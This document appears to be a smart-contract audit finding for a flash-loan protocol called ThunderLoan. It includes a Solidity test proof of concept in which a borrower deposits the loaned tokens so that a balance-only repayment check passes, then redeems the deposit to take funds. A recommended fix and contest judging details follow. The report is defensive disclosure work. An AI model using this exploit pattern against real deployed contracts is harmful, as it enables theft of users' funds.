Submission Details
Severity:
Flawed logic allows theft of funds
Summary
Malicious users can exploit flash loan offering.
Vulnerability Details
To ensure the flashloan has been repaid, thunderLoan checks that the assetToken contract's balance of the underlying token exceeds the pre-loan value (+ the fee).
uint256 endingBalance = token.balanceOf(address(assetToken));
if (endingBalance < startingBalance + fee) {
revert ThunderLoan__NotPaidBack(startingBalance + fee, endingBalance);
}
However, if during the flash loan transaction the attacker deposits the amount loaned - this if statement will be satisfied, and the attacker could then call redeem to steal funds.
As a POC, add the following functions to the test file:
function testFlashLoanThenDeposit() public setAllowedToken hasDeposits {
uint256 amountToBorrow = AMOUNT * 10;
uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA, amountToBorrow);
vm.startPrank(user);
tokenA.mint(address(this), calculatedFee);
uint256 contractTokenABalancePre = tokenA.balanceOf(address(this));
console.log("CONTRACT TOKEN A BALANCE PRE EXPLOIT = ", contractTokenABalancePre);
thunderLoan.flashloan(address(this), tokenA, amountToBorrow, "");
vm.stopPrank();
AssetToken asset = thunderLoan.getAssetFromToken(tokenA);
uint256 contractAssetTokenBalance = asset.balanceOf(address(this));
console.log("CONTRACT ASSET TOKEN BALANCE PRE REDEMPTION = ", contractAssetTokenBalance);
thunderLoan.redeem(tokenA, contractAssetTokenBalance);
uint256 contractTokenABalance = tokenA.balanceOf(address(this));
console.log("CONTRACT TOKEN A BALANCE POST EXPLOIT = ", contractTokenABalance);
assert(contractTokenABalancePre < contractTokenABalance);
}
function executeOperation(
address token,
uint256 amount,
uint256 fee,
address initiator,
bytes calldata /* params */
)
external
returns (bool)
{
tokenA.approve(address(thunderLoan), amount + fee);
thunderLoan.deposit(tokenA, amount + fee);
thunderLoan.repay(tokenA, amount + fee);
return true;
}
Impact
Theft of funds
Tools Used
Manual review
Recommendations
Revert if the total supply of the assetToken has increased during the flashloan transaction.
Updates
Lead Judging Commences
0xnevi about 2 years ago
Submission Judgement Published Assigned finding tags:
flash loan funds stolen by a deposit
Rewards breakdown
nSLOC
387This contest has a flat reward structure with the following payouts:
100 EXP
20 EXP
2 EXP
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